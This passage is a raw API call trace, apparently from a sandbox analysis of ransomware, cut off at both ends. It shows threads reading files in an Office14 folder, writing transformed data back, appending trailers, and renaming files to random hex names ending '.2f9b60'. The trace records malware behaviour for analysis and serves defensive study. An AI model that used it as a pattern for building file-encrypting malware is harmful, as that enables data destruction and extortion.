Seed=0x31f9f9b0) returned 0x360eafe1 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x41d048c3 [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x32e1f6cc [0155.499] RtlRandomEx (in: Seed=0x31f9f9b0 | out: Seed=0x31f9f9b0) returned 0x5f5ae204 [0155.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddafd0 [0155.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce241a0 [0155.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb000 [0155.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce241a0) returned 1 [0155.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddafa0) returned 1 [0155.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0155.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0155.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce241a0 [0155.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaee0 [0155.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaee0) returned 1 [0155.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42928ed0 [0155.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4292cae0 [0155.512] ReadFile (in: hFile=0x123c, lpBuffer=0x42928ed0, nNumberOfBytesToRead=0x67, lpNumberOfBytesRead=0x31f9f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42928ed0*, lpNumberOfBytesRead=0x31f9f9b0*=0x67, lpOverlapped=0x0) returned 1 [0155.513] SetFilePointerEx (in: hFile=0x123c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.513] WriteFile (in: hFile=0x123c, lpBuffer=0x4292cae0*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x31f9f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4292cae0*, lpNumberOfBytesWritten=0x31f9f9b4*=0x67, lpOverlapped=0x0) returned 1 [0162.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19110 [0162.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19140 [0162.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19140) returned 1 [0162.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4292cae0) returned 1 [0162.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42928ed0) returned 1 [0162.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce241a0) returned 1 [0162.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0162.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce18690 [0162.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18640 [0162.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce241a0 [0162.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19140 [0162.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19140) returned 1 [0162.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce19220 [0162.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19140 [0162.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19170 [0162.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19170) returned 1 [0162.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce241a0) returned 1 [0162.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18640) returned 1 [0162.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x42c201c0 [0162.591] SetFilePointerEx (in: hFile=0x123c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.591] WriteFile (in: hFile=0x123c, lpBuffer=0x42c201c0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x31f9fad0, lpOverlapped=0x0 | out: lpBuffer=0x42c201c0*, lpNumberOfBytesWritten=0x31f9fad0*=0x120, lpOverlapped=0x0) returned 1 [0164.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0164.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e80 [0164.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e80) returned 1 [0164.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9e9f0 [0164.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e80 [0164.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0164.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e50) returned 1 [0164.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86f0c0 [0164.809] sprintf (in: _Dest=0x1b86f0c0, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0c2, _Format="%c%c" | out: _Dest="41") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0c4, _Format="%c%c" | out: _Dest="a3") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0c6, _Format="%c%c" | out: _Dest="95") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0c8, _Format="%c%c" | out: _Dest="68") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0ca, _Format="%c%c" | out: _Dest="47") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0cc, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0ce, _Format="%c%c" | out: _Dest="8a") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0d0, _Format="%c%c" | out: _Dest="85") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0d2, _Format="%c%c" | out: _Dest="0d") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0d4, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0d6, _Format="%c%c" | out: _Dest="7c") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0d8, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0da, _Format="%c%c" | out: _Dest="83") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0dc, _Format="%c%c" | out: _Dest="67") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0de, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0e0, _Format="%c%c" | out: _Dest="b6") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0e2, _Format="%c%c" | out: _Dest="ed") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0e4, _Format="%c%c" | out: _Dest="97") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0e6, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0e8, _Format="%c%c" | out: _Dest="8e") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0ea, _Format="%c%c" | out: _Dest="b7") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0ec, _Format="%c%c" | out: _Dest="88") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0ee, _Format="%c%c" | out: _Dest="4c") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0f0, _Format="%c%c" | out: _Dest="69") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0f2, _Format="%c%c" | out: _Dest="47") returned 2 [0164.809] sprintf (in: _Dest=0x1b86f0f4, _Format="%c%c" | out: _Dest="02") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f0f6, _Format="%c%c" | out: _Dest="ec") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f0f8, _Format="%c%c" | out: _Dest="31") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f0fa, _Format="%c%c" | out: _Dest="64") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f0fc, _Format="%c%c" | out: _Dest="9c") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f0fe, _Format="%c%c" | out: _Dest="08") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f100, _Format="%c%c" | out: _Dest="32") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f102, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f104, _Format="%c%c" | out: _Dest="3f") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f106, _Format="%c%c" | out: _Dest="66") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f108, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f10a, _Format="%c%c" | out: _Dest="25") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f10c, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f10e, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f110, _Format="%c%c" | out: _Dest="fe") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f112, _Format="%c%c" | out: _Dest="7c") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f114, _Format="%c%c" | out: _Dest="a5") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f116, _Format="%c%c" | out: _Dest="95") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f118, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.810] sprintf (in: _Dest=0x1b86f11a, _Format="%c%c" | out: _Dest="c3") returned 2 [0164.810] RtlInitAnsiString (in: DestinationString=0x31f9fb48, SourceString="c141a3956847f18a850d7e7c6b8367d6b6ed974f8eb7884c694702ec31649c0832d13f66f7255ceffe7ca595d1c3" | out: DestinationString="c141a3956847f18a850d7e7c6b8367d6b6ed974f8eb7884c694702ec31649c0832d13f66f7255ceffe7ca595d1c3") [0164.810] RtlAnsiStringToUnicodeString (in: DestinationString=0x31f9fb18, SourceString="c141a3956847f18a850d7e7c6b8367d6b6ed974f8eb7884c694702ec31649c0832d13f66f7255ceffe7ca595d1c3", AllocateDestinationString=1 | out: DestinationString="c141a3956847f18a850d7e7c6b8367d6b6ed974f8eb7884c694702ec31649c0832d13f66f7255ceffe7ca595d1c3") returned 0x0 [0164.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205edb0 [0164.811] RtlFreeAnsiString (AnsiString="c") [0164.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f0c0) returned 1 [0164.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e9f0) returned 1 [0164.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e80) returned 1 [0164.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c201c0) returned 1 [0164.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19220) returned 1 [0164.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19140) returned 1 [0164.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19110) returned 1 [0164.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaf70) returned 1 [0164.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddafd0) returned 1 [0164.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb000) returned 1 [0164.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb5110 [0164.813] wcscat (in: _Dest=0x1cdb5110, _Source="c141a3956847f18a850d7e7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c141a3956847f18a850d7e7") returned="C:\\Program Files\\Microsoft Office\\Office14\\c141a3956847f18a850d7e7" [0164.813] wcscat (in: _Dest=0x1cdb5110, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c141a3956847f18a850d7e7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\c141a3956847f18a850d7e7.2f9b60" [0164.814] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\c141a3956847f18a850d7e7.2f9b60", NtPathName=0x31f9faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\c141a3956847f18a850d7e7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x42c362d0 Thread: id = 2558 os_tid = 0x2064 [0155.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml")) returned 0x20 [0155.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML", dwFileAttributes=0x20) returned 1 [0155.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1238 [0155.518] GetFileSizeEx (in: hFile=0x1238, lpFileSize=0x30d1fae0 | out: lpFileSize=0x30d1fae0*=33019) returned 1 [0155.518] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x80f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.519] ReadFile (in: hFile=0x1238, lpBuffer=0x30d1fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30d1faa8, lpOverlapped=0x0 | out: lpBuffer=0x30d1fa60*, lpNumberOfBytesRead=0x30d1faa8*=0x4, lpOverlapped=0x0) returned 1 [0156.324] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc200 [0156.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc290 [0156.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc2c0 [0156.324] NtQuerySystemTime (in: CurrentTime=0x30d1f9a0 | out: CurrentTime=0x30d1f9a0*=132462177614518000) returned 0x0 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0xe499330 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x57c3c9c2 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x403e81f7 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x12719786 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x716c11a [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x249f0e58 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x768e9429 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x447e6594 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x328c20f0 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x48d58eae [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x27436e5f [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x6cd0fd8e [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0xc219e47 [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x4048555e [0156.324] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x649e05f9 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x37017b14 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x215fcf30 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x3b3f5237 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x4edd0ede [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x48d1ae20 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x594e2bb8 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x422d8938 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x67ba0beb [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x590e798b [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x19637926 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x2f6b48b3 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x75247c75 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x4bcfd37e [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x34eb292f [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x2c599461 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x2e060be1 [0156.325] RtlRandomEx (in: Seed=0x30d1f990 | out: Seed=0x30d1f990) returned 0x157b0cba [0156.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc2f0 [0156.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce249a0 [0156.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc320 [0156.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce249a0) returned 1 [0156.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc2c0) returned 1 [0156.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc200) returned 1 [0156.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a17240 [0156.336] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.336] ReadFile (in: hFile=0x1238, lpBuffer=0x42a17240, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30d1fa00, lpOverlapped=0x0 | out: lpBuffer=0x42a17240*, lpNumberOfBytesRead=0x30d1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0158.094] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd40 [0158.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebea80 [0158.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0158.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0158.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b6a280 [0158.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac16a0 [0158.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1730 [0158.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1730) returned 1 [0158.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebea80) returned 1 [0158.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd40) returned 1 [0158.098] WriteFile (in: hFile=0x1238, lpBuffer=0x42b6a280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30d1fa00, lpOverlapped=0x0 | out: lpBuffer=0x42b6a280*, lpNumberOfBytesWritten=0x30d1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0162.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b6a280) returned 1 [0162.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a17240) returned 1 [0162.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c18750 [0162.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0162.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868540 [0162.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18780 [0162.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18780) returned 1 [0162.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c18780 [0162.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c187b0 [0162.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c187e0 [0162.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c187e0) returned 1 [0162.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868540) returned 1 [0162.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0162.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16d50 [0162.350] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.351] WriteFile (hFile=0x1238, lpBuffer=0x42c16d50, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x30d1fab0, lpOverlapped=0x0) [0200.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052650 [0200.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052650) returned 1 [0200.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0200.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052650 [0200.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052620 [0200.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052620) returned 1 [0200.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d8400 [0200.555] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="97") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="21") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="de") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="3b") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="c0") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="0f") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="64") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="65") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="db") returned 2 [0200.555] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.556] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.556] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="06") returned 2 [0200.556] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.556] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.556] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="48") returned 2 [0200.556] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="00") returned 2 [0200.556] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.556] RtlInitAnsiString (in: DestinationString=0x30d1fb28, SourceString="ece6977c21dead3bc0f40f6465db4fb4066cbf4800e6" | out: DestinationString="ece6977c21dead3bc0f40f6465db4fb4066cbf4800e6") [0200.556] RtlAnsiStringToUnicodeString (in: DestinationString=0x30d1faf8, SourceString="ece6977c21dead3bc0f40f6465db4fb4066cbf4800e6", AllocateDestinationString=1 | out: DestinationString="ece6977c21dead3bc0f40f6465db4fb4066cbf4800e6") returned 0x0 [0200.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0c90 [0200.557] wcscat (in: _Dest=0x431da2b0, _Source="ece6977c21d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ece6977c21d") returned="C:\\Program Files\\Microsoft Office\\Office14\\ece6977c21d" [0200.557] wcscat (in: _Dest=0x431da2b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ece6977c21d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ece6977c21d.2f9b60" [0200.557] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ece6977c21d.2f9b60", NtPathName=0x30d1fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ece6977c21d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.557] 